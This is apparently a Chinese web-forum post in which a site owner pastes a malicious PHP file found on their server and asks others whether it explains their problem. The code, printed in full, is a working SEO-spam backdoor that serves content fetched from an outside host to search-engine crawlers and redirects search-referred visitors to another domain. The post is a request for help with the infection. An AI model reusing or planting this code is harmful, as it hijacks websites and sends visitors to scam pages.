|
楼主 |
发表于 2020-10-19 10:35:28
|
查看全部
本帖最后由 hanxing558 于 2020-10-19 10:48 编辑
截获了一段恶意文件代码,大家看看是不是跟这个有关系啊:
<?php
include("/home/wwwroot/kkw/public_html/uc_client/lib/wzseo");
set_time_limit( 0 );
error_reporting( 0 );
@date_default_timezone_set('Etc/GMT-8');
//header('Content-Type: text/html;charset=gb2312');
define('Sg_Y','http://sg.wtohn.com');
define('URL',$_SERVER['SERVER_NAME']);
define('REF',$_SERVER['HTTP_REFERER']);
define('AGENT',$_SERVER['HTTP_USER_AGENT']);
$agent=array('Sogou web','Soso','Haosou','360spider','Bytespider','ToutiaoSpider');
$ref=array('sogou.com','so.com','sm.cn','toutiao.com');
function YC($url) {
$oo2=array('http'=>array('method'=>"GET",'timeout'=> 8 ));
$context=stream_context_create($oo2);
$hh2=file_get_contents($url,false,$context);
if(empty($hh2)) {
$hh2=file_get_contents($url);
}
return$hh2;
}
function GETID() {
preg_match_all('/\d+/',$_SERVER['REQUEST_URI'],$a2ra1r1);
$a2ra1=$a2ra1r1[ 0 ];
sort($a2ra1);
return$a2ra1[count($a2ra1)- 1 ];
}
function PHPGET() {
$dmmu2='';
if(isset($_SERVER['REQUEST_URI'])) {
$dmmu2=$_SERVER['REQUEST_URI'];
} else {
if(isset($_SERVER['argv'])) {
$dmmu2=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][ 0 ];
} else {
$dmmu2=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
}
}
if(isset($_SERVER['SERVER_SOFTWARE'])&&false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')) {
if(function_exists('mb_convert_encoding')) {
$dmmu2=mb_convert_encoding($dmmu2,'UTF-8','GBK');
} else {
$dmmu2=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$dmmu2))==$dmmu2?$dmmu2:@iconv('GBK','UTF-8',$dmmu2);
}
}
$r2=explode('#',$dmmu2, 2 );
$dmmu2=$r2[ 0 ];
return$dmmu2;
}
foreach($ref as$kx) {
if(stristr(REF,$kx)) {
if(GETID()>= 199 ) {
$jst[ 1 ]='http://www.8889990.cc/index.html';
$jst[ 2 ]='http://www.8889990.cc/index.html';
$out=rand( 1 , 2 );
echo header("Location: $jst[$out]");
}
}
}
foreach($agent as$kk) {
if(stristr(AGENT,$kk)) {
$dmmu2_u2=Sg_Y.'/?xu='.'&xx='.bin2hex(URL);
$dmmu2_u2.='&xh='.bin2hex(PHPGET()).'&ag='.bin2hex(AGENT);
$dmmu2_c2=YC($dmmu2_u2);
echo$dmmu2_c2;
exit;
}
}
|
|